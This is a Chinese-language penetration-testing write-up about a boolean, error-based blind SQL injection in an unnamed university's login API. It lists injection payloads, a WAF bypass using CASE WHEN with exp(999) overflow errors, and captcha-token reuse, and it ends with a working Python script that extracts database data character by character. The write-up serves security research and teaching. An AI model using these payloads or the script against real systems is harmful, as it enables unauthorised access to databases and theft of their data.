在某某大学的探索过程中,发现了一个比较奇怪的布尔报错盲注
它这里本来登录有一个滑动验证码,token
是滑动验证码每次校验生成的,从处理逻辑讲,这里的token
是不能复用的,但是这里的token
却是可以复用,这本来就是一个漏洞了。
这个token
可以复用,就给了测试userNo
的机会,加了个单引号就返回接口访问出错
,但是问题来了,它有时候返回接口访问出错
,有时候缺返回账号密码有误
。
注意时间戳(毫秒级)大概每隔几分钟就校验一次,如果时间戳校验失败即返回登陆失败
首先要搞清楚,这些回显,根据测试的情况猜测:
- 账号或密码有误:
- 普通的账号密码登录错误
- SQL语句成功闭合或注释并且执行了
- 接口访问出错:
- SQL语句本身有语法问题导致报错(如:没有成功闭合单引号或者注释后面的语句)
- 即使用函数构造SQL报错来做布尔判断的条件
其次考虑的问题是这里是注释还是闭合,经过测试发现注释貌似都行不通:
'and 1=1 --
'and 1=1 --+
'and 1=1 #
'&& 1=1 --
'&& 1=1 #
'and 1--+
'&& 1#
.......
都是 账号或密码有误 与 接口访问出错 概率性回显,如果这里成功注释应该是只会回显 :账号或密码有误(闭合同理);
接下来尝试去闭合单引号:
'and 1=1 and'
'and 1 and'
'&& 1 &&'
'&& 1=1 &&'
'or 1 or'
'or 1=1 or'
'|| 1 ||'
.....
发现只有当payload为'|| 1 ||'
时,每次回显都是账号或密码有误
那么就可以推测这里闭合执行成功了,也可以推测出前面payload的行不通,可能是因为存在过滤或者WAF,那么接下来就可以利用报错函数去验证这里闭合执行是否成功了。
'|| exp(708) ||' --不会溢出报错
'|| exp(999) ||' -- 溢出报错
exp是以e为底的指数函数,但是这个数如果大于709,就会造成溢出报错
这样就可以确定这里成功闭合执行了SQL语句,并且还确定了执行如果执行报错的话是概率性的。
不难看出以上的结果也是很明显的布尔盲注,可以构造出如果查询结果为True
即执行报错函数使它报错,即概率性返回 接口访问出错;如果为False
即使它正常执行,即只会返回 账号或密码有误;
但是使用if
在这里构造查询结果为False
执行正常的语句返回两种结果的问题(正常的返回这里应该都是:账号或密码有误),进而猜测这里应该是过滤了if
;
尝试使用case when ... then ... else ... end
进行绕过构造查询发现果然可行。
接下来只需要解决查询结果为报错函数的概率性返回问题即可,这个其实很好解决:
我这里处理方法就是每次Payload增加一个轮查询(比如查10次),如果这十次查询有返回 接口访问出错 那就能证明这条语句执行到了exp(999)
也就是大于为True
,即可成功判断。因为大于为False
的情况是正常SQL不会报错,不会出现 接口访问出错。所以增加一轮样本检测即可。
综上所述,查询脚本如下:
import requests
import time
def greaterSuccessCheck(url, loginJsonData):
greaterSuccessFlag = False
for _ in range(10):# 增加的轮数,自行根据概率修改
resp = requests.post(url=url, json=loginJsonData, timeout=2)
if "接口访问出错啦" in resp.text:
greaterSuccessFlag = True
break
return greaterSuccessFlag
content = ''
for pos in range(100):# 查询的内容长度
min_num = 32
max_num = 126
mid_num = (min_num + max_num) // 2
while (min_num < max_num):
url = "http://xxx.xxx.xxx.xxx/xxxxxxx"
payload = "admin'||case when ord(mid(user(),{},1))>{} then exp(999) else 1 end ||'".format(pos, mid_num)
loginJsonData = {"userNo": payload,
"password": "82b1ce8689f9696f72c082199f48f8a7",
"timestamp": int(time.time() * 1000),
"token": "791f5f76f1e84a71894ec0c5b20dce24"}
greaterSuccessFlag = greaterSuccessCheck(url, loginJsonData)
if greaterSuccessFlag:
min_num = mid_num + 1
else:
max_num = mid_num
mid_num = ((min_num + max_num) // 2)
content += chr(min_num)
print(content)